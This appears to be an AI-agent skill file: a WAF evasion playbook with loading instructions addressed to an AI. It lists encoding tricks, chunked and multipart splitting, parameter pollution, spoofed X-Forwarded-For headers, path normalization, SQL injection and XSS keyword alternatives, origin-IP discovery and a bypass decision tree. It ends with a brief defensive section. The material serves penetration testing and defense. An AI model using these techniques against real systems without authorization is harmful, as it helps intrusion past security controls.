waf-bypass-techniques

SKILL: WAF Bypass Techniques — Evasion Playbook

AI LOAD INSTRUCTION: Covers WAF identification, generic bypass categories (encoding, protocol abuse, HTTP/2, parameter pollution), and a decision tree. For product-specific bypasses (Cloudflare, AWS WAF, ModSecurity, Akamai, etc.), load WAF_PRODUCT_MATRIX.md. Base models often suggest basic encoding but miss protocol-level bypasses and WAF behavioral quirks.

0. RELATED ROUTING

• sqli-sql-injection for payloads to deliver after bypassing WAF
• xss-cross-site-scripting for XSS payloads that need WAF evasion
• request-smuggling when smuggling can route requests around WAF entirely
• http-parameter-pollution HPP is itself a WAF bypass primitive
• csp-bypass-advanced when WAF blocks inline scripts but CSP bypass is available
• ghost-bits-cast-attack Java backends only — when every encoding trick above is blocked, use Ghost Bits: Java's 16-bit char to 8-bit byte narrowing produces 255 Unicode bypass variants per dangerous ASCII byte; re-enables WAF-patched CVEs in Tomcat, Spring, Jetty, Jackson, Fastjson, BCEL, and more

Product-Specific Reference

Load WAF_PRODUCT_MATRIX.md when you need per-product bypass techniques for Cloudflare, AWS WAF, ModSecurity CRS, Akamai, Imperva, F5 BIG-IP, or Sucuri.

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1. PHASE 0 — IDENTIFY THE WAF

Before bypassing, know what you're fighting.

1.1 Tools

Tool	Usage
wafw00f target.com	Fingerprint WAF vendor from response headers/behavior
nmap --script=http-waf-detect	NSE script for WAF detection
Manual header inspection	Server, X-CDN, X-Cache, cf-ray (Cloudflare), x-sucuri-id, x-akamai-*

1.2 Behavioral Fingerprinting

1. Send benign request → record baseline response (status, headers, body size)
2. Send obvious attack: /?q=<script>alert(1)</script>
3. Compare: 403? Custom block page? Redirect? Connection reset?
4. Block page content reveals WAF: "Cloudflare", "Access Denied (Imperva)", "ModSecurity"
5. If transparent proxy: check response time difference (WAF adds latency)

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2. GENERIC BYPASS CATEGORIES

2.1 Encoding Bypasses

Technique	Example	Bypasses
URL encoding	%3Cscript%3E	Basic string matching
Double URL encoding	%253Cscript%253E	WAFs that decode once, app decodes twice
Unicode encoding	%u003Cscript%u003E	IIS-specific Unicode normalization
HTML entities	<script> or <script>	WAFs not performing HTML entity decoding
Hex encoding (SQL)	0x756E696F6E = union	WAFs matching SQL keywords
Octal encoding	\74script\76	Rare but some parsers handle it
Overlong UTF-8	%C0%BC (invalid encoding for <)	Legacy parsers with loose UTF-8 handling
Mixed case	SeLeCt, uNiOn	Case-sensitive rule matching
Null byte	sel%00ect	WAFs that stop parsing at null

2.2 Chunked Transfer Encoding

Split the payload across HTTP chunks so no single chunk contains the blocked pattern:

POST /search HTTP/1.1
Transfer-Encoding: chunked

3
sel
3
ect
1
 
4
from
0

WAFs that inspect the full body may not reassemble chunks before matching.

2.3 HTTP/2 Binary Format Bypasses

HTTP/2 transmits headers as binary HPACK-encoded frames. Some WAFs only inspect after downgrading to HTTP/1.1:

• Header names can contain characters illegal in HTTP/1.1
• Pseudo-headers (:method, :path) bypass header-based WAF rules
• H2 → H1 downgrade may introduce request smuggling (see request-smuggling)

2.4 HTTP Parameter Pollution (HPP)

Different servers handle duplicate parameters differently:

Server	Behavior for ?a=1&a=2
PHP/Apache	Last value: a=2
ASP.NET/IIS	Concatenated: a=1,2
Python/Flask	First value: a=1
Node.js/Express	Array: a=[1,2]

WAF checks a=1 (benign), app uses a=2 (malicious). Or combine: a=sel&a=ect → ASP.NET sees a=sel,ect.

2.5 IP Source Spoofing (Bypass IP-Based Rules)

Headers trusted by some WAFs/apps for client IP:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1

Use case: WAF whitelists internal IPs or has different rule sets per source.

2.6 Path Normalization Tricks

Technique	Example	Effect
Dot segments	/./admin or /../target/admin	WAF sees different path than app
Double slash	//admin	Some normalizers collapse, WAFs may not
URL encoding path	/%61dmin	WAF sees encoded, app decodes
Null byte in path	/admin%00.jpg	Legacy: app truncates at null, WAF sees .jpg
Backslash (IIS)	/admin\..\/secret	IIS treats \ as /
Trailing dot/space	/admin. or /admin%20	OS-level normalization (Windows)
Semicolon (Tomcat)	/admin;jsessionid=x	Tomcat strips after ;, WAF may not

2.7 Content-Type Manipulation

WAFs often have format-specific parsers. Switching Content-Type can bypass rules:

Default:  Content-Type: application/x-www-form-urlencoded  → WAF parses params
Switch:   Content-Type: application/json  → WAF may not parse JSON body
Switch:   Content-Type: multipart/form-data  → WAF may not inspect all parts
Switch:   Content-Type: text/xml  → WAF expects XML, payload in different format

Trick: If app accepts both JSON and form-urlencoded, use JSON — WAFs often have weaker JSON inspection rules.

2.8 Multipart Boundary Abuse

Content-Type: multipart/form-data; boundary=----WAFBypass

------WAFBypass
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
------WAFBypass--

Variations: long boundary strings, boundary with special characters, missing final boundary, nested multipart.

2.9 Newline & Whitespace Injection

-- SQL keyword splitting
SEL
ECT * FROM users

-- SQL comment insertion
SEL/**/ECT * FR/**/OM users
UN/**/ION SEL/**/ECT 1,2,3

-- Tab/vertical tab as separator
SELECT\t*\tFROM\tusers

2.10 Keyword Splitting & Alternative Syntax

Blocked	Alternative
UNION SELECT	UNION ALL SELECT, UNION DISTINCT SELECT
OR 1=1	OR 2>1, OR 'a'='a', `
<script>	<svg/onload=alert(1)>, <img src=x onerror=alert(1)>
alert(1)	prompt(1), confirm(1), print() (Chrome)
eval()	Function('code')(), setTimeout('code',0)
' OR '1'='1	' OR 1-- -, '||'1
SLEEP(5)	BENCHMARK(5000000,SHA1('x')), pg_sleep(5)

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3. PROTOCOL-LEVEL BYPASS TECHNIQUES

3.1 Request Line Abuse

GET /path?q=attack HTTP/1.1    ← WAF inspects

vs.

GET http://target.com/path?q=attack HTTP/1.1   ← Absolute URI: some WAFs miss the path

3.2 Header Injection via CRLF

If WAF inspects original headers but app processes injected ones:

X-Custom: value\r\nX-Forwarded-For: 127.0.0.1

3.3 Connection-State Bypass

1. Establish connection through WAF (normal request)
2. On same keep-alive connection, send attack request
3. Some WAFs reduce inspection on subsequent requests in same connection

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4. WAF BYPASS DECISION TREE

Payload blocked by WAF?
├── Identify WAF (wafw00f, response headers, block page)
│
├── Try encoding bypasses
│   ├── URL encode payload → still blocked?
│   ├── Double URL encode → still blocked?
│   ├── Unicode/overlong UTF-8 → still blocked?
│   ├── Mixed case keywords → still blocked?
│   └── HTML entities (for XSS) → still blocked?
│
├── Try protocol-level bypasses
│   ├── Switch Content-Type (JSON, multipart, XML)
│   │   └── App accepts alternate format? → re-send payload
│   ├── HTTP Parameter Pollution (duplicate params)
│   ├── Chunked Transfer-Encoding to split payload
│   ├── HTTP/2 direct if available (binary framing bypass)
│   └── Request line: absolute URI format
│
├── Try path-based bypasses
│   ├── Path normalization (/./path, //path, ;param)
│   ├── Different HTTP method (POST vs PUT vs PATCH)
│   └── Alternate endpoint serving same function
│
├── Try payload mutation
│   ├── SQL: comments (/**/), alternative functions, hex literals
│   ├── XSS: alternative tags/events, JS template literals
│   ├── RCE: wildcard abuse, string concatenation, variable expansion
│   └── Check WAF_PRODUCT_MATRIX.md for vendor-specific mutations
│
├── Try IP-source bypass
│   ├── X-Forwarded-For / True-Client-IP spoofing
│   ├── Access origin server directly (bypass CDN)
│   └── Find origin IP (Shodan, historical DNS, email headers)
│
└── Try request smuggling to skip WAF entirely
    └── See ../request-smuggling/SKILL.md

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5. COMMON MISTAKES & TRICK NOTES

1. Test bypass with actual exploitation, not just 200 OK: WAF may return 200 but strip the payload silently.
2. WAFs often have size limits: Very large request bodies (>8KB–128KB depending on WAF) may bypass inspection entirely.
3. Rate limiting ≠ WAF: Getting 429s is rate limiting, not payload blocking. Different bypass needed.
4. CDN caching: If the WAF is at CDN level, cached responses bypass WAF on subsequent requests. Poison cache with clean request, exploit cache.
5. Origin server direct access: If you find the origin IP behind CDN/WAF, connect directly — WAF is bypassed completely.
6. Multipart file upload fields: WAFs often skip inspection of file content in multipart uploads — embed payload in filename or file content if reflected.

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6. DEFENSE PERSPECTIVE

Measure	Notes
WAF + application-level input validation	WAF is a layer, not a fix
Parameterized queries	Eliminates SQLi regardless of WAF
CSP + output encoding	Eliminates XSS regardless of WAF
Regularly update WAF rules	Vendor signatures lag behind new bypasses
Deny by default, not block-list	Allowlist valid input patterns
Log and alert on WAF blocks	Bypass attempts are visible in logs